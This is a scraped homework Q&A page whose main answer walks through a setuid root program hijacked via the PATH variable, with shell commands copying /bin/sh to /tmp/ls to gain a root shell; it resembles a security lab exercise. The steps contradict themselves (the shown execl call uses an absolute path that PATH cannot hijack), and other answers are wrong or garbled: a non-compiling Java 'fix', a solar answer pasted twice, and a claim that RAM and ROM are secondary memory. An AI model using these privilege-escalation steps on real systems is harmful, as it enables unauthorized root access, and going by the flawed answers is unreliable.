1answer.
Ask question
Login Signup
Ask question
All categories
  • English
  • Mathematics
  • Social Studies
  • Business
  • History
  • Health
  • Geography
  • Biology
  • Physics
  • Chemistry
  • Computers and Technology
  • Arts
  • World Languages
  • Spanish
  • French
  • German
  • Advanced Placement (AP)
  • SAT
  • Medicine
  • Law
  • Engineering
telo118 [61]
4 years ago
5

The PATH environment variable.

Computers and Technology
1 answer:
enot [183]4 years ago
8 0

Answer:

Answer explained below

Explanation:

Yes, you can let Set-uid program that is owned by root to run your code instead of /bin/ls but it has it's own drawbacks and is actually not safe.

As you can not rely on that since some of the shells if different from the ruid drop an euid which is actually not safe.

execl("/bin/ls", "ls",(char *)0);  

run this under your main program.

Since it can have a root previlege,

-$ cd /tmp/

/tmp$ sudo su

:/tmp# gcc -o system system.c

:/tmp# chmod u+s system // changing file permissions

:/tmp# exit

exit

:/tmp$ cp /bin/sh /tmp/ls

:/tmp$ ./system

<u>Steps: </u>

1. The first thing you need to do is copy /bin/sh to /tmp.

2. After copying /bin/sh to /tmp set a new name ls but make sure your sh ->.zsh.

3. Set PATH to current directory. /tmp.

4. Compile

5. Run the program system and you can get your root previledge.

Now, with the above exmaple if you change /bin/sh soo that it points back to /bin/bash and repeat all the previous steps, you will not be able to get your root previledges.

You might be interested in
Questions 6 - 9 Refer to the following code: public class WhatsIt { private int[] values; private double average; public WhatsIt
gavmur [86]

Answer:

class WhatsIt

{

private static int [] values;

private double average;

public Double Average=average;

public WhatsIt () {values = new int [10]; findAvg(); }

public WhatsIt (int [] n) {values = n; findAvg(); }

public static void findAvg ()

{double sum = 0;

for (int i = 0; i < values.length; i++)

{sum += values[i]; }

average = 1.0 * sum / values.length;

System.out.println(Average);

System.out.println(average);

}

public static String ToString()

{

   System.out.println(average); System.out.println(values.length);

   return "Average: " + average + " Length: " + values.length;

}

public static void main(String[] args)  

{

    //WhatsIt();

    //ToString();

    findAvg();

}

}

The findAvg() calculates the average.

The reference to average is defined as below:

public double Average=average;

And when we call findAvg average is initialized, and Average is also initialized, which we can check through println statement.

Explanation:

Please check the answer section.

4 0
3 years ago
Once the technology for the collection of solar power is in place what will be two benefits of its use
wlad13 [49]

Answer: 1. The sun provides us with more energy than we could ever use, and no one can monopolise the sunlight. Your solar power system will start saving money from the moment it’s turned on, however, the advantages of solar power are best visible in the long-term. The longer you have your solar power system, the more you enjoy the benefits of solar technology and support the environment.

Aside from solar electricity, solar energy has a second application. We often associate solar energy with electricity, which is acquired through PV panels, but it’s also possible to use the energy generated by the sun for heating purposes. This process is accomplished by deploying solar thermal systems that simply convert the sunlight into heating solutions.

The acceptance of solar technology is at hand and we can start by increasing our use of solar panels.

2. The sun provides us with more energy than we could ever use, and no one can monopolise the sunlight. Your solar power system will start saving money from the moment it’s turned on, however, the advantages of solar power are best visible in the long-term. The longer you have your solar power system, the more you enjoy the benefits of solar technology and support the environment.

Aside from solar electricity, solar energy has a second application. We often associate solar energy with electricity, which is acquired through PV panels, but it’s also possible to use the energy generated by the sun for heating purposes. This process is accomplished by deploying solar thermal systems that simply convert the sunlight into heating solutions.

The acceptance of solar technology is at hand and we can start by increasing our use of solar panels.

Explanation:

3 0
3 years ago
Write a program which increments from 0 to 20 and display results in Decimal on the console 2-b) Modify above program to increme
SVEN [57.7K]

Answer:

<em>This program is written in C++</em>

<em>Comment are used to explain difficult lines</em>

<em>The first program that prints 0 to 20 (in decimal) starts here</em>

#include<iostream>

int main()

{

//Print From 0 to 20

for(int i = 0;i<21;i++)

{

 std::cout<<i<<'\n';

}

}

<em>The modified program to print 0 to 20 in hexadecimal starts here</em>

#include<iostream>

using namespace std;

int main()

{

//Declare variables to use in conversion;

int tempvar, i=1,remain;

//Declare a char array of length 50 to hold result

char result[50];

//Print 0

cout<<"0"<<endl;

// Iterate from 1 to 20

for(int digit = 1; digit<21; digit++)

{

//Start Conversion Process

//Initialize tempvar to digit (1 to 20)

tempvar = digit;

while(tempvar!=0)

{

//Divide tempvar by 16 and get remainder

remain = tempvar%16;

if(remain<10)

{

 result[i++]=remain + 48;

}

else

{

 result[i++] = remain + 55;

}

//Get new value of tempvar by dividing it by 16

tempvar/=16;

}

//Print result

for(int l=i-1;l>0;l--)

{

cout<<result[l];

}

i=1;

cout<<endl;  

}

return 0;

}

//The Program Ends Here

See Attachments for program 1 and 2; program 2 is the modified version of 1

Download cpp
<span class="sg-text sg-text--link sg-text--bold sg-text--link-disabled sg-text--blue-dark"> cpp </span>
<span class="sg-text sg-text--link sg-text--bold sg-text--link-disabled sg-text--blue-dark"> cpp </span>
3 0
3 years ago
A _____ is the viewing area for a web page, which is much smaller on a phone than on a traditional desktop.
-BARSIC- [3]
A viewport is the viewing area for a web page, which is much smaller on a phone than on a traditional desktop .
6 0
3 years ago
(--BRAINLIEST--)<br>Explain the types of secondary memory on the basis of data access.​
Nina [5.8K]

There are two types of secondary memories.

  1. RAM
  2. ROM

RAM:

  • RAM stands for random access memory .
  • It is expandable.
  • we can do multiple things in it.
  • Its erasable.

ROM

  • ROM stands for read only memory.
  • It is permanent .
  • We can only read in it.
  • Its permanent hence not removable.
8 0
3 years ago
Read 2 more answers
Other questions:
  • Write the definition of the word "log" as it would be used in relation to digital literacy
    13·1 answer
  • What type of cable is used to connect a workstation serial port to a cisco router console port?
    15·1 answer
  • ​Suppose your computer network was compromised in a large scale virus attack last Thursday. Most of the data files got corrupted
    8·1 answer
  • Software project management is the process planning, organizing, and monitoring of the development of a software project from it
    15·1 answer
  • You are the IT Administrator for the CorpNet.local domain. You are in the process of implementing a group strategy for your netw
    13·1 answer
  • When an item is gray that means...
    15·2 answers
  • Which option is used in Access to locate and retrieve data that may be present in multiple database tables within the database?
    10·2 answers
  • Look at (c), is it accurate? ​
    9·2 answers
  • 7. Suppose that a RISC machine uses 5 register windows. a. How deep can the procedure calls go before registers must be saved in
    14·1 answer
  • question 1 scenario 1, question 1-5 you’ve just started a new job as a data analyst. you’re working for a midsized pharmacy chai
    8·1 answer
Add answer
Login
Not registered? Fast signup
Signup
Login Signup
Ask question!